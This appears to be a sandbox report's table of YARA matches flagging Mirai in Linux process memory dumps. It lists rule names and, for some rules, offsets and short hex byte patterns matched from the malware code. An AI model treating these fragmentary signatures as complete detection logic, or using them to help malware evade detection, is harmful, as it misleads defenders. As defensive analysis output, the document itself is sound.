6493.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6493.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6493.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6493.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6721.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6721.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6721.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6721.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6721.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6721.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7223.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7223.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7223.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7223.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7223.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7223.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7020.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7020.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7020.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7020.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7020.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7020.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6565.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6565.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6565.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6565.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6565.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6565.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6718.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6718.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6718.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6718.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6718.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6718.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6749.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6749.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6749.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6749.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6749.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6749.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6743.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6743.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6743.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6743.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6743.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6743.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6714.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7198.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6914.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6914.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6914.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6914.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6914.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6914.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6961.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6961.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6961.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6961.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6961.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6961.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6835.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6835.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6835.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6835.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6835.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6835.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6610.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6610.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6610.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6610.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6610.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6610.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6561.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6561.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6561.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6561.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6561.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6561.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7339.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7209.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7209.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7209.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7209.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7209.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7209.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6543.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6543.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6543.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6543.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6543.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6543.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7060.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7060.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7060.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7060.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7060.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7060.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6562.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6562.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6562.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6562.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6562.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6562.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7184.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7184.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7184.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7184.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7184.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7184.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7187.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7187.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7187.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7187.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7187.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7187.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
